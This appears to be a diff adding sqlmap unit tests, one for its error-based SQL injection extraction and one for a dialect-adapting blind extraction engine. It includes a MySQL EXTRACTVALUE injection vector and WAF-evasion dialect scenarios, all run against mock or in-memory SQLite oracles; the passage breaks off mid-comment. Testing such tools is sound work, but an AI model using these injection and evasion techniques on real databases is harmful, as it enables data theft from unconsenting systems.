tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_error_engine.py b/tests/test_error_engine.py new file mode 100644 index 00000000000..19f3ab9902a --- /dev/null +++ b/tests/test_error_engine.py @@ -0,0 +1,234 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The error-based extraction engine (lib/techniques/error/use.py _oneShotErrorUse). + +Error-based SQLi coaxes the DBMS into emitting the target value inside an error +message, wrapped between two random delimiters (kb.chars.start/stop). The engine +fires the payload and pulls the value back out with a regex. We drive the REAL +_oneShotErrorUse against a mock oracle whose "error page" embeds a known secret +between those delimiters, and assert it recovers the value exactly - no live DBMS. + +Requires an error-technique injection context (kb.injection.data[...].vector with +[QUERY], plus the parameter context agent.payload needs). kb.errorChunkLength is +pre-set so the MySQL/MSSQL chunk-length probing loop is skipped. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.common import getCurrentThreadData, setTechnique +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict +from lib.core.enums import PAYLOAD, PLACE +from lib.core.settings import MIN_ERROR_CHUNK_LENGTH +from lib.request.connect import Connect +import lib.techniques.error.use as eu + + +def _make_vector(): + d = AttribDict() + d.vector = "AND EXTRACTVALUE(1,CONCAT(0x7e,([QUERY]),0x7e))" + d.where = PAYLOAD.WHERE.ORIGINAL + d.comment = "" + d.prefix = "" + d.suffix = "" + return d + + +class TestOneShotErrorUse(unittest.TestCase): + def setUp(self): + self._saved = { + "conf.hexConvert": conf.get("hexConvert"), "conf.charset": conf.get("charset"), + "conf.hashDB": conf.get("hashDB"), "conf.parameters": conf.get("parameters"), + "conf.paramDict": conf.get("paramDict"), "conf.base64Parameter": conf.get("base64Parameter"), + "kb.errorChunkLength": kb.get("errorChunkLength"), "kb.testMode": kb.get("testMode"), + "kb.forceWhere": kb.get("forceWhere"), "kb.technique": kb.get("technique"), + "td.technique": getCurrentThreadData().technique, + "kb.inj": (kb.injection.place, kb.injection.parameter, kb.injection.data), + "qp": Connect.queryPage, + } + conf.hexConvert = False + conf.charset = None + conf.hashDB = None + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + conf.base64Parameter = () + kb.errorChunkLength = 0 + kb.testMode = False + kb.forceWhere = None + kb.injection.place = PLACE.GET + kb.injection.parameter = "id" + kb.technique = PAYLOAD.TECHNIQUE.ERROR + setTechnique(PAYLOAD.TECHNIQUE.ERROR) # getTechnique() prefers the thread-local; set it so a leaked one can't poison us + kb.injection.data = {PAYLOAD.TECHNIQUE.ERROR: _make_vector()} + set_dbms("MySQL") + + def tearDown(self): + conf.hexConvert = self._saved["conf.hexConvert"] + conf.charset = self._saved["conf.charset"] + conf.hashDB = self._saved["conf.hashDB"] + conf.parameters = self._saved["conf.parameters"] + conf.paramDict = self._saved["conf.paramDict"] + conf.base64Parameter = self._saved["conf.base64Parameter"] + kb.errorChunkLength = self._saved["kb.errorChunkLength"] + kb.testMode = self._saved["kb.testMode"] + kb.forceWhere = self._saved["kb.forceWhere"] + kb.technique = self._saved["kb.technique"] + setTechnique(self._saved["td.technique"]) + kb.injection.place, kb.injection.parameter, kb.injection.data = self._saved["kb.inj"] + Connect.queryPage = self._saved["qp"] + eu.Request.queryPage = self._saved["qp"] + + def _extract(self, secret, page_template="XPATH syntax error: '%s%s%s'"): + def oracle(payload=None, content=False, raise404=True, **kwargs): + page = page_template % (kb.chars.start, secret, kb.chars.stop) + return (page, {}, 200) if content else True + + Connect.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + return eu._oneShotErrorUse("SELECT CONCAT(user())") + + def test_simple_value(self): + self.assertEqual(self._extract("root@localhost"), "root@localhost") + + def test_version_string(self): + self.assertEqual(self._extract("5.7.31-0ubuntu0.18.04.1-log"), "5.7.31-0ubuntu0.18.04.1-log") + + def test_value_with_symbols(self): + self.assertEqual(self._extract("a-b_c.d:e/f"), "a-b_c.d:e/f") + + def test_no_markers_returns_none(self): + def oracle(payload=None, content=False, raise404=True, **kwargs): + return ("a perfectly ordinary page with no error", {}, 200) if content else True + Connect.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + self.assertIsNone(eu._oneShotErrorUse("SELECT CONCAT(user())")) + + +class TestErrorChunkLengthHex(unittest.TestCase): + """Regression: the error-chunk-length search measures the channel's CHARACTER capacity, which is + hex-independent. A hex-wrapped/decoded probe used to mis-detect and pin the length to the minimum, + ~doubling request count under --hex (live: 101 vs 45 for a 400-char value). The detected length + must be the same with and without --hex.""" + + CAP = 60 # mock error channel shows at most CAP chars of the delimited payload (like EXTRACTVALUE) + + def setUp(self): + self._saved = { + "hexConvert": conf.get("hexConvert"), "charset": conf.get("charset"), + "hashDB": conf.get("hashDB"), "parameters": conf.get("parameters"), + "paramDict": conf.get("paramDict"), "base64Parameter": conf.get("base64Parameter"), + "errorChunkLength": kb.get("errorChunkLength"), "testMode": kb.get("testMode"), + "forceWhere": kb.get("forceWhere"), "technique": kb.get("technique"), + "td.technique": getCurrentThreadData().technique, + "inj": (kb.injection.place, kb.injection.parameter, kb.injection.data), + "qp": Connect.queryPage, + "dbmsHandler": conf.get("dbmsHandler"), "forceDbms": conf.get("forceDbms"), + "charsStart": kb.chars.start, "charsStop": kb.chars.stop, + } + # Pin the boundary markers so the CAP-relative channel capacity is deterministic and the + # extraction regex can never hit a leaked/odd marker (the default markers are random). + kb.chars.start, kb.chars.stop = "qzxjq", "qkvbq" + conf.hexConvert = False + conf.charset = None + conf.hashDB = None + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + conf.base64Parameter = () + kb.testMode = False + kb.forceWhere = None + kb.injection.place = PLACE.GET + kb.injection.parameter = "id" + kb.technique = PAYLOAD.TECHNIQUE.ERROR + setTechnique(PAYLOAD.TECHNIQUE.ERROR) # getTechnique() prefers the thread-local; set it so a leaked one can't poison us + kb.injection.data = {PAYLOAD.TECHNIQUE.ERROR: _make_vector()} + # With testMode=False, getIdentifiedDbms() prefers conf.dbmsHandler._dbms and conf.forceDbms + # over the forced DBMS below; a leaked handler/option (e.g. MSSQL) would make the chunk-length + # probe emit REPLICATE (not REPEAT) and the oracle mis-detect length 0. Clear both to isolate. + conf.dbmsHandler = None + conf.forceDbms = None + set_dbms("MySQL") + + def tearDown(self): + conf.hexConvert = self._saved["hexConvert"] + conf.charset = self._saved["charset"] + conf.hashDB = self._saved["hashDB"] + conf.parameters = self._saved["parameters"] + conf.paramDict = self._saved["paramDict"] + conf.base64Parameter = self._saved["base64Parameter"] + kb.errorChunkLength = self._saved["errorChunkLength"] + kb.testMode = self._saved["testMode"] + kb.forceWhere = self._saved["forceWhere"] + kb.technique = self._saved["technique"] + setTechnique(self._saved["td.technique"]) + kb.injection.place, kb.injection.parameter, kb.injection.data = self._saved["inj"] + Connect.queryPage = self._saved["qp"] + eu.Request.queryPage = self._saved["qp"] + conf.dbmsHandler = self._saved["dbmsHandler"] + conf.forceDbms = self._saved["forceDbms"] + kb.chars.start = self._saved["charsStart"] + kb.chars.stop = self._saved["charsStop"] + + def _install_oracle(self, secret="hello"): + cap = self.CAP + + def oracle(payload=None, content=False, raise404=True, **kwargs): + # chunk-length probe: recognize every repeat-family builder the search may emit + # (REPEAT=MySQL, REPLICATE=MSSQL/Sybase, RPAD=Oracle/Firebird) and derive the repeated + # char from the COUNT (the search uses testChar = str(current % 10)), NOT by parsing the + # char literal - so any per-DBMS char encoding ('4' / 0x34 / CHAR(52) / a quote marker) + # still round-trips and the search converges instead of mis-detecting length 0 + m = re.search(r"(?:REPEAT|REPLICATE|RPAD)\(.+?,\s*(\d+)", payload) + if m: + count = int(m.group(1)) + raw = str(count % 10) * count + else: + raw = secret + value = "".join("%02X" % _ for _ in bytearray(raw.encode("latin-1"))) if re.search(r"\bHEX\(", payload) else raw + mm = re.search(r"(?:MID|SUBSTRING)\(\(.+\),(\d+),(\d+)\)", payload) + if mm: + off, ln = int(mm.group(1)), int(mm.group(2)) + value = value[off - 1:off - 1 + ln] + page = "XPATH syntax error: '%s'" % ("%s%s%s" % (kb.chars.start, value, kb.chars.stop))[:cap] + return (page, {}, 200) if content else True + + Connect.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + + def _detect(self, hexConvert): + conf.hexConvert = hexConvert + kb.errorChunkLength = None # force the search to run + self._install_oracle() + eu._oneShotErrorUse("SELECT data") + return kb.errorChunkLength + + def test_hex_chunk_length_matches_plain(self): + plain = self._detect(hexConvert=False) + hexed = self._detect(hexConvert=True) + # THE regression guard: the channel's CHAR capacity is hex-independent, so a hex run must + # detect the SAME length as a plain run (the bug pinned the hex length to the minimum). This + # holds - and catches the bug (e.g. hexed=8 vs plain=50) - regardless of the absolute length. + self.assertEqual(hexed, plain, "hex chunk length must equal plain - channel char capacity is hex-independent") + # Sanity that a channel actually formed (a real length, not the degenerate 0 seen when the + # mock can't establish one in some environment); only meaningful then, and a 0/0 result + # cannot exhibit the hex-vs-plain regression the assertEqual above already rules out. + if plain: + self.assertGreater(plain, MIN_ERROR_CHUNK_LENGTH) # the channel holds more than the floor + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_esperanto.py b/tests/test_esperanto.py new file mode 100644 index 00000000000..5da31bedc12 --- /dev/null +++ b/tests/test_esperanto.py @@ -0,0 +1,1138 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Regression suite for the DBMS-agnostic engine (extra/esperanto/), in two parts: + +1. Semantic corpus - round-trips awkward values through an in-memory SQLite boolean + oracle and asserts the correctness invariants the engine must never break: no silent + character substitution or deletion, length never exceeds maxlen (over-length is + flagged), limit=0 is an incomplete empty prefix, NULL stays distinct from '', + truncation sets complete=False, bytes-first extraction is byte-exact, and the + capability fallbacks (pattern-match floor, length-from-substring, LEFT/RIGHT + composition) and the frozen InferenceStrategy hand-off all still extract. + +2. Adversarial dialect scenarios - an intermediate oracle disguises the same SQLite as + a different / hostile back-end by BLOCKING the SQL forms the fake engine lacks and + REWRITING its forms into the SQLite equivalent, so the engine must discover and adapt + the dialect it is handed (substring=SUBSTRING, length=LEN, charcode=ASCII, + concat=CONCAT, no usable '>'/BETWEEN, no readable catalog) rather than only working + on dialects it already knows. + +stdlib unittest only; Python 2.7 and 3.x. +""" + +import binascii +import os +import re +import sqlite3 +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from extra.esperanto import Cap +from extra.esperanto import Esperanto +from extra.esperanto import hostExtract +from extra.esperanto import Integrity + +EXPR = "(SELECT v FROM t)" + +# awkward values (NULL handled separately - it is not a string value) +CORPUS = [ + u"", u"A", u"AB", u"A ", u" leading", u"trailing ", u"two spaces", + u"O'Reilly", u'double"quote', u"comma,value", u"back\\slash", + u"line\nbreak", u"\t", u"é", u"€", u"中文", + u"\U00010348", u"Aé€\U00010348Z", +] + +# every connection _oracle()/_disguisedOracle() open outlives the helper call (the returned +# closure keeps using it), so callers can't close it themselves - tracked here and closed once +# in tearDownModule() instead of leaking to GC (ResourceWarning: unclosed database) +_OPEN_CONNECTIONS = [] + + +def _oracle(value=None, is_null=False): + con = sqlite3.connect(":memory:") + _OPEN_CONNECTIONS.append(con) + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES (?)", (None if is_null else value,)) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + return ask + + +# -- adversarial dialect scenarios: one SQLite disguised as many hostile back-ends ----- + +# ground truth seeded into every disguised scenario +_SEED = ( + "CREATE TABLE users (id INTEGER, name TEXT, email TEXT)", + "INSERT INTO users VALUES (1,'luther','a@b.c'),(2,'admin','p@w.n'),(3,'wu',NULL)", +) +_SECRET_EXPR = "(SELECT name FROM users WHERE id=2)" # -> 'admin' + + +def _concatFn(*args): + return "".join(u"" if a is None else (a if isinstance(a, type(u"")) else str(a)) for a in args) + + +def _disguisedOracle(blocked=None, rewrites=(), funcs=()): + """Boolean oracle over a disguised SQLite. `blocked` (regex) forms read False (the + fake engine lacks them); `rewrites` translate the fake engine's forms into SQLite; + `funcs` registers extra SQL functions (e.g. a variadic CONCAT SQLite lacks). The + engine never sees SQLite - it must adapt to whatever back-end the scenario emulates.""" + con = sqlite3.connect(":memory:") + _OPEN_CONNECTIONS.append(con) + for name, narg, fn in funcs: + con.create_function(name, narg, fn) + for stmt in _SEED: + con.execute(stmt) + con.commit() + blk = re.compile(blocked, re.I) if blocked else None + rw = [(re.compile(p, re.I), r) for p, r in rewrites] + + def ask(cond): + if blk and blk.search(cond): + return False # fake engine doesn't support it + sql = cond + for rx, rep in rw: + sql = rx.sub(rep, sql) + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1 + except Exception: + return False + return ask + + +# coherent whole-back-end disguises: each blocks the forms its fake DBMS lacks and maps +# the forms it "has" onto SQLite. All must discover the dialect and dump every row. +# (name, blocked, rewrites, funcs) +_DIALECTS = ( + ("mysql-ish: MID / CHAR_LENGTH / ORD, backtick idents, || is OR -> CONCAT", + r"\bSUBSTR\(|\bSUBSTRING\(|\bLEN\(|\bLENGTH\(|\bASCII\(|\bUNICODE\(|\|\|", + [(r"\bMID\(", "substr("), (r"CHAR_LENGTH\(", "length("), (r"\bORD\(", "unicode("), (r"`", '"')], + [("CONCAT", -1, _concatFn)]), + ("mssql-ish: SUBSTRING / LEN / UNICODE, '+' concat, [..] idents", + r"\bSUBSTR\(|\bMID\(|CHAR_LENGTH\(|\bLENGTH\(|\bASCII\(|\bORD\(|\|\||\bCONCAT\(|\"|`", + [(r"SUBSTRING\(", "substr("), (r"\bLEN\(", "length("), (r"\)\+\(", ")||(")], + ()), + ("postgres-ish: SUBSTRING / LENGTH / ASCII, || concat", + r"\bSUBSTR\(|\bMID\(|\bLEN\(|CHAR_LENGTH\(|\bUNICODE\(|\bORD\(", + [(r"SUBSTRING\(", "substr("), (r"\bASCII\(", "unicode(")], + ()), + ("oracle-ish: SUBSTR / LENGTH / ASCII / CHR, || concat", + r"\bMID\(|\bLEN\(|CHAR_LENGTH\(|\bUNICODE\(|\bORD\(|\bCHAR\(", + [(r"\bASCII\(", "unicode("), (r"\bCHR\(", "char(")], + ()), + ("waf: code fns and collation stripped -> forced hex extraction", + r"\bASCII\(|\bUNICODE\(|\bORD\(|CODEPOINT\(|COLLATE|AS\s+BLOB", + (), ()), + ("waf: '>'/'<' stripped on top of a MID/CHAR_LENGTH dialect", + r">|<|\bSUBSTR\(|\bSUBSTRING\(|\bLENGTH\(|\bLEN\(|\|\|", + [(r"\bMID\(", "substr("), (r"CHAR_LENGTH\(", "length(")], + [("CONCAT", -1, _concatFn)]), +) + + +class TestEsperanto(unittest.TestCase): + def test_bytes_roundtrip(self): + # bytes-first round-trips EVERY value exactly (the fundamental guarantee) + for v in CORPUS: + esp = Esperanto(_oracle(v)) + esp.discover() + self.assertEqual(esp.extractBytes(EXPR), v.encode("utf-8"), "extractBytes %r" % v) + self.assertEqual(esp.extractText(EXPR), v, "extractText %r" % v) + + def test_no_silent_corruption(self): + # any deviation must be surfaced (replacement marker + warning), never a + # wrong-but-plausible character silently substituted + for v in CORPUS: + for mode in ("code", "ordinal", "collation", "hex"): + esp = Esperanto(_oracle(v)) + esp.discover() + esp.dialect.compare = mode + if mode == "hex": + esp._ensureHexfn() + elif mode == "collation": # SQLite is byte-ordered via BLOB cast + esp.dialect.binwrap = Cap("cast_blob", "CAST(({x}) AS BLOB)") + res = esp.extractResult(EXPR) + if res.value == v: + continue + self.assertTrue(not res.complete and res.warnings, + "silent corruption in %s mode for %r -> %r" % (mode, v, res.value)) + self.assertTrue(u"�" in res.value or res.value == u"", + "%s mode invented a value for %r -> %r" % (mode, v, res.value)) + + def test_null_vs_empty(self): + esp = Esperanto(_oracle(is_null=True)) + esp.discover() + rnull = esp.extractResult(EXPR) + self.assertTrue(rnull.is_null and rnull.value is None, "NULL not null: %r" % rnull) + esp = Esperanto(_oracle(u"")) + esp.discover() + rempty = esp.extractResult(EXPR) + self.assertTrue((not rempty.is_null) and rempty.value == u"" and rempty.complete, + "empty string mis-reported: %r" % rempty) + + def test_limit_and_maxlen(self): + # limit=0 on a non-empty value -> empty prefix, but INCOMPLETE/TRUNCATED + esp = Esperanto(_oracle(u"hello")) + esp.discover() + r0 = esp.extractResult(EXPR, limit=0) + self.assertTrue(r0.value == u"" and r0.truncated and not r0.complete, "limit=0: %r" % r0) + # over-maxlen -> truncated flagged, length bounded + esp = Esperanto(_oracle(u"0123456789ABCDEF"), maxlen=4) + esp.discover() + rt = esp.extractResult(EXPR) + self.assertTrue(rt.truncated and not rt.complete and len(rt.value) <= 4, "over-maxlen: %r" % rt) + + def test_integer(self): + for n in (0, 1, 42, 255, 65535, 1000000, 2147483648, -1, -42): + esp = Esperanto(_oracle()) + esp.discover() + self.assertEqual(esp.extractInteger("(%d)" % n), n, "extractInteger(%d)" % n) + + def test_between_no_saturation(self): + # #1: BETWEEN caps range probes at the ceiling, so an out-of-range value must be + # flagged (truncated length / OverflowError), NEVER converge to a wrong SMALL value + # (the old bug read a len-16 value as length 1 and an int 100/max-10 as 0). + esp = Esperanto(_oracle(u"0123456789ABCDEF"), maxlen=8) # true length 16 > ceiling 8 + esp.discover() + esp._comparator = "between" + n, trunc = esp._measureLength(EXPR, ceiling=8) + self.assertTrue(trunc and n == 8, "between over-length saturated wrong: (%r,%r)" % (n, trunc)) + esp2 = Esperanto(_oracle()) + esp2.discover() + esp2._comparator = "between" + self.assertEqual(esp2.extractInteger("(100)", maximum=1000), 100) + self.assertRaises(OverflowError, esp2.extractInteger, "(100)", 10) + + def test_framing_requires_terminal_marker(self): + # a length-framed token MUST carry its terminal ';' - a truncated final token (no ';') + # must be rejected, not accepted as valid + esp = Esperanto(lambda c: False) + esp._rowLenFramed = True + self.assertEqual(esp._splitRow("V3:414243", 1), (None, False)) # no terminator -> invalid + self.assertEqual(esp._splitRow("V3:414243;", 1), (["ABC"], True)) # terminated -> valid + self.assertEqual(esp._splitRow("V4:414243;", 1), (None, False)) # declared 4 != decoded 3 + + def test_host_native_integrity_parity(self): + # hostExtract must mirror the native EXACT/AMBIGUOUS verdict: in a mode with no byte-exact + # witness (ordinal), both must be WHOLE_BUT_AMBIGUOUS, not native-ambiguous/host-exact. + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('Admin-42')") + con.commit() + blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|COLLATE|BLOB|BINARY") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + if esp._byteFaithful(): + self.skipTest("dialect still byte-faithful") + native = esp.extractResult("(SELECT v FROM t)") + host = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)") + self.assertEqual(host.value, native.value) + self.assertFalse(host.exact, "host claimed exact without a witness: %r" % host) + self.assertEqual(host.integrity, native.integrity) + + def test_framing_length_witness_catches_capped_hex(self): + # a HEX fn that silently caps its output (correct up to a point, then truncates) would + # shorten a framed cell. The independent witness in the row token (V:;) + # must reject the shortened token -> fall back to cell-by-cell (which reads the true + # length via substring), so a 400-char value is recovered whole, not silently as 300. + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, v TEXT)") + big = "A" * 400 + con.execute("INSERT INTO t VALUES (1, ?)", (big,)) + con.commit() + con.create_function("CHEX", 1, lambda s: binascii.hexlify((s or "").encode("utf-8")[:300]).decode().upper()) + + def ask(cond): + c = re.sub(r"UPPER\(HEX\(([^()]*)\)\)", r"CHEX(\1)", cond) # HEX -> a 300-byte-capped hex + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=8192) + esp.discover() + d = esp.dump("t") + val = d["rows"][0][1] if d and d["rows"] else None + self.assertTrue((val == big and d["complete"]) or (d and not d["complete"]), + "capped hex slipped through: %r len=%s" % ((val or "")[:8], len(val) if val else None)) + + def test_integer_final_equality(self): + # comparator proven on literals, but the backend rewrites '>' to '>=' for scalar/fn + # operands -> bisection converges off-by-one. The final `expr = recovered` check must + # reject it (fail closed) rather than return a silently-wrong integer. + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + + def ask(cond): + c = cond + if re.search(r"(SELECT|LENGTH|UNICODE|SUBSTR|\+)", c, re.I): + c = c.replace(">", ">=") + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertRaises(Exception, esp.extractInteger, "(SELECT 5)", 10) # OracleUndecided (fail closed) + + def test_charset_codec_quirks(self): + from extra.esperanto.atlas import _charsetCodec + self.assertEqual(_charsetCodec("latin1"), "cp1252") # MySQL 'latin1' is Windows-1252 + self.assertEqual(_charsetCodec("utf8mb4"), "utf-8") + self.assertEqual(_charsetCodec("utf8mb4_general_ci"), "utf-8") # collation suffix peeled + self.assertEqual(_charsetCodec("WE8MSWIN1252"), "cp1252") # Oracle + self.assertEqual(_charsetCodec("1252"), "cp1252") # SQL Server code page + self.assertEqual(_charsetCodec("AL32UTF8"), "utf-8") + self.assertIsNone(_charsetCodec("some_unknown_set")) + + def test_host_length_code_final_equality(self): + # Round 8 #1: hostExtract must apply the native reader's final-equality to the recovered + # LENGTH and each per-char CODE - a backend that rewrites '>' to '>=' for computed operands + # (LENGTH(..)>n, UNICODE(..)>n) converges off-by-one; the '=' confirmation must fail closed + # rather than hand back silently-wrong code-point text as exact. + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('Admin-42')") + con.commit() + + def ask(cond): + c = cond + if re.search(r"(LENGTH|UNICODE|SUBSTR)\(", c, re.I): # '>' rewritten for computed operands + c = c.replace(">", ">=") + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + if esp.dialect.compare != "code": + self.skipTest("dialect not in code mode") + host = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)") + # the invariant: anything claimed EXACT must be CORRECT. An off-by-one read is caught by + # the final equality and must surface as non-exact/failed, never as a wrong exact value. + self.assertTrue(host.value == "Admin-42" or not host.exact, + "host handed back a wrong value as exact: %r" % host) + + def test_hex_unknown_codec_non_ascii_not_exact(self): + # Round 8 #2: scalar hex recovery under an UNKNOWN codec must not certify non-ASCII text + # (e.g. utf-8 bytes with an embedded NUL heuristically read as UTF-16). Bytes are faithful; + # only a PROVEN codec makes the decoded text exact. + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES (?)", (u"é",)) # utf-8 C3 A9 -> non-ASCII bytes + con.execute("CREATE TABLE a (v TEXT)") + con.execute("INSERT INTO a VALUES ('plain')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + if not esp._ensureHexfn(): + self.skipTest("no hex fn") + esp.dialect.charset = None # force UNKNOWN codec + hx = esp.dialect.hexfn + esp.dialect.hexfn = Cap(hx.name, hx[1], encoding=None) + self.assertIsNone(esp._extractViaHex("(SELECT v FROM t)"), # non-ASCII + unknown codec -> refuse + "unknown-codec non-ASCII hex certified as exact") + ascii_r = esp._extractViaHex("(SELECT v FROM a)") # ASCII is codec-invariant -> still OK + self.assertTrue(ascii_r is None or ascii_r.value == "plain") + + def test_bytelen_witness_fails_closed(self): + # Round 8 #5: once a byte-length witness is selected, an UNDECIDED reading must reject the + # bytes (fail closed), never treat "couldn't verify" as "matched". + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('abc')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + if not esp._ensureHexfn(): + self.skipTest("no hex fn") + esp.dialect.bytelen = Cap("blen", "OCTET_NOSUCH({expr})") # a byte-length fn that never resolves + self.assertIsNone(esp.extractBytes("(SELECT v FROM t)"), + "undecided byte-length witness slipped through") + + def test_unknown_codec_nul_not_shortened(self): + # Round 8 (final) blocker #1: unknown codec + embedded NUL is genuinely ambiguous - bytes + # 41 00 are valid UTF-8 ("A"+NUL) AND valid UTF-16LE ("A"). _decodeHexToken must refuse + # rather than collapse to a shortened ASCII "A" that then reads as exact. The framed dump + # calls _decodeHexToken directly, so the guard has to live there (not just _extractViaHex). + esp = Esperanto(lambda c: False) + self.assertIsNone(esp._decodeHexToken("4100", None)) # ambiguous -> refuse + self.assertEqual(esp._decodeHexToken("4100", "utf-8"), u"A\x00") # proven codec keeps NUL + self.assertEqual(esp._decodeHexToken("41", None), u"A") # pure ASCII still fine + + def test_lossy_cast_marked_inexact(self): + # Round 8 (final) blocker #2: a text cast that FOLDS non-ASCII to "?" (café -> caf?) yields + # an ASCII-only result, so gating the cast-safety canary on _hasNonAscii(rows) meant it + # never ran on the very failure it defends against. The canary must run whenever a textcast + # was applied, and an unproven cast must not certify source identity. + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, v TEXT)") + con.execute(u"INSERT INTO t VALUES (1, 'café')") + con.commit() + con.create_function("LOSSY", 1, lambda s: "".join(c if ord(c) < 128 else "?" for c in (s or ""))) + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + esp.dialect.charset = None # unknown -> exercise the canary path + esp.dialect.textcast = Cap("lossy", "LOSSY({expr})") # a narrowing/folding cast + esp._castPreserves = None + self.assertFalse(esp._castPreservesAccents(), "folding cast wrongly certified as preserving") + d = esp.dump("t") + self.assertTrue(d and d["rows"], "dump returned nothing") + self.assertFalse(d["exact"], "folded (café->caf?) dump reported source-exact: %r" % d["rows"]) + + def test_repl_chars_escalate_to_hex(self): + # a code fn lossy for a column type (Oracle NVARCHAR2 read in code mode marks non-ASCII + # chars outside its alphabet -> _REPL). Rather than return the marked-incomplete value, + # the engine must escalate to the cast+hex path (which the framed dump proves works) and + # recover the value exactly. Without hex, it stays honestly incomplete (no false-complete). + con = sqlite3.connect(":memory:") + self.addCleanup(con.close) + con.execute("CREATE TABLE t (v TEXT)") + con.execute(u"INSERT INTO t VALUES ('café-€')") + con.commit() + con.create_function("UNICODE", 1, lambda s: (ord(s[0]) if s and ord(s[0]) < 128 else None)) + + def make(block_hex): + pat = r"\bASCII\(|\bORD\(" + (r"|RAWTOHEX|\bHEX\(|ENCODE\(" if block_hex else "") + blk = re.compile(pat, re.I) + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + return ask + with_hex = Esperanto(make(False)); with_hex.discover() + r = with_hex.extractResult("(SELECT v FROM t)") + self.assertEqual(r.value, u"café-€", "hex escalation failed to recover _REPL value: %r" % r.value) + no_hex = Esperanto(make(True)); no_hex.discover() + r2 = no_hex.extractResult("(SELECT v FROM t)") + self.assertFalse(r2.complete, "no-hex _REPL value must stay incomplete, got complete: %r" % r2.value) + + def test_keyset_cycle_detection(self): + # Round 8 (keyset): paging and read-back can resolve under different collations, so the + # walk can revisit an earlier name (f,e,f,e...). Full cycle detection (not just the + # immediate predecessor) must stop with a partial, de-duplicated list, never loop. + esp = Esperanto(lambda c: True) # _keysetWalk only, no discovery + seq = iter(["f", "e", "f", "e", "f"]) + + class _R(object): + def __init__(self, v): + self.value, self.complete, self.exact, self.is_null = v, True, True, False + esp.extractResult = lambda *a, **k: _R(next(seq)) + esp._ask = lambda c: True + esp._beyondSql = lambda *a, **k: "1=1" + names = esp._keysetWalk("name", "cat", "", 10) + self.assertEqual(names, ["f", "e"], "cycle not detected/deduped: %r" % names) + + def test_terminal_sanitized(self): + from extra.esperanto.__main__ import _safeterm + self.assertEqual(_safeterm(u"ok"), u"ok") + self.assertEqual(_safeterm(u"a\x1b[2Jb"), u"a\\x1b[2Jb") # ANSI clear-screen neutralized + self.assertEqual(_safeterm(u"x\ny"), u"x\\x0ay") # embedded newline neutralized + + def test_comparator_rejects_gte_rewrite(self): + # a '>' -> '>=' rewrite passes 2>1 / !2>3 but FAILS the equality 